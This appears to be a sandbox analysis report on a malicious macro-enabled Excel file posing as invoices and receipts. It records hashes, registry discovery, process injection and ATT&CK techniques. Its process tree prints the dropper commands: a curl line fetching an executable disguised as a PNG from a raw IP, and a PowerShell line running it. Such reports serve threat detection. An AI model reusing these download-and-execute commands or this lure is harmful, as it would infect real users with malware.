1e6a26062bbb9fb04dfd48aada29254b8c4e4c4d657b977f4f496e3e2c26ab84

General

Target

data_statements_invoices_receipets.xlsm
Size

11KB
MD5

c46864b60cbd593540b0df1b98a6f720
SHA1

1d61db1e0274d4c8bc9a259526d4f0af93a5d7e5
SHA256

1e6a26062bbb9fb04dfd48aada29254b8c4e4c4d657b977f4f496e3e2c26ab84
SHA512

3913df61e054b29d3bb1db6d35ba023f981fe59108ae60ac9181fc8ba2cb992c12ae26cbf7a2acf3650b29eab665599ffcdbcf4f7668b9bf5af047c419244172

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3428	2752	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	748	2752	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2752 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3428 powershell.exe
3428 powershell.exe
3428 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3428 powershell.exe

pid	process
3428	powershell.exe
3428	powershell.exe
3428	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3428	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE
2752	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 2752 wrote to memory of 3428	2752	EXCEL.EXE	powershell.exe
PID 2752 wrote to memory of 3428	2752	EXCEL.EXE	powershell.exe
PID 2752 wrote to memory of 748	2752	EXCEL.EXE	cmd.exe
PID 2752 wrote to memory of 748	2752	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\data_statements_invoices_receipets.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\zYERS.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3428

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://45.89.127.230/images/yellowtank.png -o %appdata%\zYERS.exe
2⤵
- Process spawned unexpected child process
PID:748

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/748-257-0x0000000000000000-mapping.dmp

Download
memory/2752-117-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-116-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-293-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-118-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-122-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-121-0x00007FF87ABF0000-0x00007FF87BCDE000-memory.dmp

Filesize
16.9MB

Download
memory/2752-123-0x00007FF878C30000-0x00007FF87AB25000-memory.dmp

Filesize
31.0MB

Download
memory/2752-114-0x00007FF6FCC00000-0x00007FF7001B6000-memory.dmp

Filesize
53.7MB

Download
memory/2752-115-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-296-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-295-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/2752-294-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/3428-256-0x0000000000000000-mapping.dmp

Download
memory/3428-281-0x000001D9F3746000-0x000001D9F3748000-memory.dmp

Filesize
8KB

Download
memory/3428-267-0x000001D9F3CA0000-0x000001D9F3CA1000-memory.dmp

Filesize
4KB

Download
memory/3428-266-0x000001D9F3743000-0x000001D9F3745000-memory.dmp

Filesize
8KB

Download
memory/3428-265-0x000001D9F3740000-0x000001D9F3742000-memory.dmp

Filesize
8KB

Download
memory/3428-262-0x000001D9F3780000-0x000001D9F3781000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads